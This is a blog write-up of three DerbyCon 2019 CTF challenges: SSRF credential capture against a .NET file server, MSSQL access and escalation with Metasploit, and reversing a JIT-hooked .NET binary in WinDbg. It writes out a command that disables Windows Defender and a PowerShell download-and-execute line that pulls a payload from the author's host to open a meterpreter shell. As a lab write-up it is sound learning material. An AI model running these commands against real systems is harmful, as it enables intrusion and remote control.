Before I get into this, I just want to say I had a blast my first, and unfortunately last, DerbyCon. It is sad that such an awesome, close-knit, conference came to an end.
This year’s CTF was interesting as it appeared anything and almost everything could be submitted as a flag! So many, that full disclaimer: I am probably missing some just from the three challenges I’m going to write about below, HerpDerp.dll, DerpyConDB and back to DerpyConFS, and kc57_final_fu.exe.
HerpDerp.dll
HerpDerp.dll is a file that was downloaded from the DerpyConFileServer (192.168.253.71). To download, one had to visit http://192.168.253.71/DCFS/downloadfile.aspx?f=bin\DerpyCon_FileServer.dll. This path was revealed as a comment on http://192.168.253.71/DCFS/error.html (as the path http://10.x.x.x/downloadfile.aspx?f=../bin/DerpyCon_FileServer.dll).
The file, however, and any file you attempt to download, get saved as HerpDerp.exe. Changing the extension back, and opening the file in [iLSpy], reveal numerous things about the .NET assembly.
First, the source for downloadFile.aspx page can be decompiled and may explain some of the silliness I was experiencing ():
It was very apparent that anything not a request for “https” and isn’t on the “HACKING ATTEMPT” blacklist, the function attempts to serve the file with the file name of “HerpDerp.exe“. Looking back at the first “if“ statement, it also appeared that I could make the server visit other “https” pages. In doing so, the “credz” in a config file (most likely web.config) could be leaked as part of a HEAD request. This would lead me to set up my own PHP page to capture any and all requests made to it ([source]):
cat b.php <?php $req_dump = print_r($_REQUEST, TRUE); foreach (getallheaders() as $name => $value) { $req_dump = $req_dump . "$name: $value\n"; } $fp = fopen('request.log', 'a'); fwrite($fp, $req_dump); fclose($fp); ?>
Upon browsing http://192.168.253.71/DCFS/downloadfile.aspx?f=https://192.168.20.96/b.php, a Basic Authorization Header could be seen in requests.log, as well as requests in /var/log/apache/access.log:
Authorization: Basic ZmlsZXNlcnZlOmZpbGVz 192.168.253.71 - fileserve [07/Sep/2019:12:10:02 -0400] "HEAD /b.php HTTP/1.1" 200 1592 "-" "-"
This Basic Authorization decodes to: fileserve: files .
Great, now where to use them… Looking back in the decompiled source of HerpDerp.dll, the DerpyCon_FileServer class has a function named “button1clicked” ([source]):
Surprise! Flag! Creds! Additionally, it appeared there was another folder on the DerpyConFileServer for me to investigate. Browsing there, I was met for the prompt for Basic Authentication credentials, and surprise, surprise, fileserve:files allowed access! But I was then met with the error message “You must provide the admin password following ?password=“. What admin password?
FLAGS: NiceIDORExploitYo349, DerpyDB
DerpyConDB and back to DerpyConFS
Following this, a simple nslookup provided that DerpyConDB was found 192.168.253.70. Checking the credentials “DerpyDB:DerpyDB” in metasploit (auxiliary/scanner/mssql/mssql_login), it is confirmed that these credentials do in fact allowed access to the DerpyConDB:
From here, the schema was dumped using auxiliary/admin/mssql/mssql_schemadump:
The table and column names were seen, which also were flags IIRC. A simple “SELECT * from TableNameForBigMoney777858” displays the admin password required for the DerpyConFileServer, and another flag:
Heading back to DerpyConFileServer, I was met with “command needed” error after visiting http://192.168.253.71/HerpDerpyConAdmin/?password=D3rpyC0n. Browsing http://192.168.253.71/HerpDerpyConAdmin/?password=D3rpyC0n&cmd=dir leads to a nice surprise:
This would lead to the flag on C:\users\administrator\desktop\flag.txt (which I forgot to screenshot sorry).
Bonus! To get an interactive shell from meterpreter, I had to disable Windows Defender on this box first:
http://192.168.253.71/HerpDerpyConAdmin/?password=D3rpyC0n&cmd=powershell%20Set-MpPreference%20-DisableRealtimeMonitoring%20$true
Then, after staging an msfvenom psh-net payload on my server as fire2.txt, the following returned a meterpreter session back to my console:
http://192.168.253.71/HerpDerpyConAdmin/?password=D3rpyC0n &cmd=C:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell%20IEX%20 (new-object%20net.webclient).downloadstring(%27http://192.168.20.96/fire2.txt%27)
Back on the DerpyConDB, it was possible to use xp_cmdshell after using the metasploit module auxiliary/admin/mssql/mssql_escalate_execute_as. A flag was found on C:\Documents And Settings\administrator\Desktop\flag.txt of YouAreTheTrueSQLMaster77727.
The administrator password (Fin@lL@p!1) on the DerpyConDB box (obtained via hashdump) was also a submittable flag:
FLAGS: ColumnNameForTheWin939, TableNameForBigMoney777858, IfYouGotThisYouAreAmazing999333, D3rpyC0n, <missing 192.168.253.71 Admin Desktop Flag>, YouAreTheTrueSQLMaster77727, Fin@lL@p!1
Kc57_final_fu.exe
At some point during the CTF, it was announced that the file Kc57_final_fu.exe was available for download in an attempt to reverse engineer. Downloading the file, I ran file on the binary to see what I was working with:
Ah! Another .NET assembly. Opening the binary in [dnSpy], I saw some weird hooking methods and [SJIT] imported. Additionally, the get_flag function is null ([source])?
Combing through the HookCompileMethod method, it is fairly apparent that the assembly is performing a JIT Hook (read [here] for more on this technique) and replacing the code of get_flag with the AES decrypted values on the large 880 byte blob, cipherText. But what exactly does that do? Before I went down that path, I grabbed and submitted three flags which easily could be found in the hex dump of the assembly (DerbyCTFDerbyCTF, Kc57Kc57Kc57Kc57, and thisisnottheflagyouwant…).
And then I spent the next two hours fighting with WinDbg, because I was (still am) a n00b, ran out of time, and didn’t get the points for this. However, for your reading delight, I did figure out the solve for the binary, and how to get WinDbg to play nice with .NET Assemblies.
So while I attempted many of the below commands to break on the specified breakpoint in WinDBG, I could never figure out reliably the correct order or manner to consistently poke at the underlying code in the assembly. Finally, in my attempt after the CTF closed, and after reading quite a few [articles] on this, I was able to figure out a rough process to ensure execution would break where I expected it:
sxe ld:clr g !sym noisy .cordll -ve -u -l .loadby sos clr !bpmd kc57_final_fu.exe Program.Main g !bpmd kc57_final_fu.exe Program.Main g !bpmd kc57_final_fu.exe Program.get_flag
No, I didn’t make a typo, I had to set the inital break on Main twice. Walking through the commands, it is stop execution of load CLR, go (continue), Noisy mode for symbols (prompt on), Control CLR Debugging, load the SOS.dll for CLR, set break at Program.Main, go, set again, go, set break at Program.get_flag. Some of these commands are probably redundant, some of them may not be required in your pristine WinDBG environment, so YMMV, but this is the magic key press cheat code I had to use every time to get WinDBG to not run right past my breakpoints. I also had noticed that if for some reason I did not see confirmation of the method found by WinDBG when setting a breakpoint, it usually meant I wasn’t going to see WinDBG break there. So I figured out that either I needed to step a bit further in the code execution of the binary and set the breakpoint again. Below demonstrates this:
I also set a breakpoint on Program.get_flag for good measure and then continued. Continuing past the main breakpoint, the Program.get_flag breakpoint is reached. Running a !clrstack -a results in the following:
Ok, then I decided to see what would happen if I un-assemble the method (!U) (full output can be found [here]):
Interesting enough, there is code there! The JIT Hook has replaced the nop’d code (below screenshot from [ildasm]) with the decrypted code from the HookCompiledMethod method (above screenshot):
From here, reversing the assembly is trivial after picking up a few clues. First, the compare call shortly after String::Length to 26. If the user inputted string isn’t 26, then the method jumps down to the end and prints out the string “thisisnottheflagyouwant…“. Else, the code then references System.Text.Encoding.get_ASCII. This appeared to be converting the nth letter of our user string to a byte value( although it should be noted C# has both the ASCII.GetBytes() and ASCII.GetString() methods so I imagine going from byte array back to string would look very similar). Next, the assembly performs a compare to a hex value well within the ASCII printable limits. The code will either exit (if not equal) or continue 25 more iterations, and if the string provided from the user is right, well, the right flag is returned:
02c71b2b 8b054823ec03 mov eax,dword ptr ds:[3EC2348h] ("thisisnottheflagyouwant...") 02c71b31 8945f4 mov dword ptr [ebp-0Ch],eax 02c71b34 8b8dacfeffff mov ecx,dword ptr [ebp-154h] 02c71b3a 3909 cmp dword ptr [ecx],ecx 02c71b3c e87f07626f call clr!COMString::Length (722922c0) 02c71b41 894580 mov dword ptr [ebp-80h],eax 02c71b44 837d801a cmp dword ptr [ebp-80h],1Ah #Length 26 02c71b48 0f95c0 setne al 02c71b4b 0fb6c0 movzx eax,al 02c71b4e 8945f0 mov dword ptr [ebp-10h],eax 02c71b51 837df000 cmp dword ptr [ebp-10h],0 02c71b55 740c je 02c71b63 ... 02c71b63 e8a865e36d call mscorlib_ni+0x498110 (70aa8110) (System.Text.Encoding.get_ASCII(), mdToken: 06006729) 02c71b68 8985a0feffff mov dword ptr [ebp-160h],eax 02c71b6e 8b8da0feffff mov ecx,dword ptr [ebp-160h] 02c71b74 8b95acfeffff mov edx,dword ptr [ebp-154h] 02c71b7a 8b01 mov eax,dword ptr [ecx] 02c71b7c 8b4034 mov eax,dword ptr [eax+34h] 02c71b7f ff5004 call dword ptr [eax+4] 02c71b82 89859cfeffff mov dword ptr [ebp-164h],eax 02c71b88 8b859cfeffff mov eax,dword ptr [ebp-164h] 02c71b8e 8985a8feffff mov dword ptr [ebp-158h],eax 02c71b94 e87765e36d call mscorlib_ni+0x498110 (70aa8110) (System.Text.Encoding.get_ASCII(), mdToken: 06006729) 02c71b99 898598feffff mov dword ptr [ebp-168h],eax 02c71b9f 8b8d98feffff mov ecx,dword ptr [ebp-168h] 02c71ba5 8b55f4 mov edx,dword ptr [ebp-0Ch] 02c71ba8 8b01 mov eax,dword ptr [ecx] 02c71baa 8b4034 mov eax,dword ptr [eax+34h] 02c71bad ff5004 call dword ptr [eax+4] 02c71bb0 898594feffff mov dword ptr [ebp-16Ch],eax 02c71bb6 8b8594feffff mov eax,dword ptr [ebp-16Ch] 02c71bbc 8985a4feffff mov dword ptr [ebp-15Ch],eax 02c71bc2 8b85a8feffff mov eax,dword ptr [ebp-158h] 02c71bc8 83780400 cmp dword ptr [eax+4],0 02c71bcc 7705 ja 02c71bd3 02c71bce e89dc58f6f call clr!JIT_RngChkFail (7256e170) 02c71bd3 80780873 cmp byte ptr [eax+8],73h #ASCII 's' 02c71bd7 0f94c0 sete al 02c71bda 0fb6c0 movzx eax,al 02c71bdd 8945e8 mov dword ptr [ebp-18h],eax 02c71be0 837de800 cmp dword ptr [ebp-18h],0 02c71be4 7459 je 02c71c3f ... 02c71c13 e81cb3dd6d call mscorlib_ni+0x43cf34 (70a4cf34) (System.Convert.ToByte(Int32), mdToken: 06000beb) 02c71c18 8985b0feffff mov dword ptr [ebp-150h],eax 02c71c1e 8b85b4feffff mov eax,dword ptr [ebp-14Ch] 02c71c24 8b9524feffff mov edx,dword ptr [ebp-1DCh] 02c71c2a 3b4204 cmp eax,dword ptr [edx+4] 02c71c2d 7205 jb 02c71c34 02c71c2f e83cc58f6f call clr!JIT_RngChkFail (7256e170) 02c71c34 8b8db0feffff mov ecx,dword ptr [ebp-150h] 02c71c3a 884c0208 mov byte ptr [edx+eax+8],cl 02c71c3e 90 nop 02c71c3f 8b85a8feffff mov eax,dword ptr [ebp-158h] 02c71c45 83780401 cmp dword ptr [eax+4],1 02c71c49 7705 ja 02c71c50 02c71c4b e820c58f6f call clr!JIT_RngChkFail (7256e170) 02c71c50 8078096f cmp byte ptr [eax+9],6Fh #ASCII 'o' 02c71c54 0f94c0 sete al 02c71c57 0fb6c0 movzx eax,al 02c71c5a 8945e4 mov dword ptr [ebp-1Ch],eax 02c71c5d 837de400 cmp dword ptr [ebp-1Ch],0 02c71c61 745b je 02c71cbe ...
Tracking each of the proper CMP calls, the string, “somethingisnotrighthere…” is uncovered. Inputting this as the password into the binary’s prompt results in the flag, “Kc57LovesDotNetObfuscation“.
FLAGS: DerbyConCTFDerbyConCTF, Kc57Kc57Kc57Kc57, thisisnotthepasswordyouwant…, Kc57LovesDotNetObfuscation
Bonus: dnSpy can output this assembly in a much quicker manner. Debugging the uncovered assembly did not seem to work very well, but at least static reversing after the JIT hook could be performed. This is accomplished by inserting a breakpoint at get_flag, and the right-clicking the method and then “Go to Disassembly“, which leads to the below:
Thanks again to the challenge creators, DerbyCon, all the authors of the referenced material, my employer [Maveris, LLC], and the community as a whole! Also, special thanks to my teammates of DefaultUser for a awesome time at DerbyConCTF!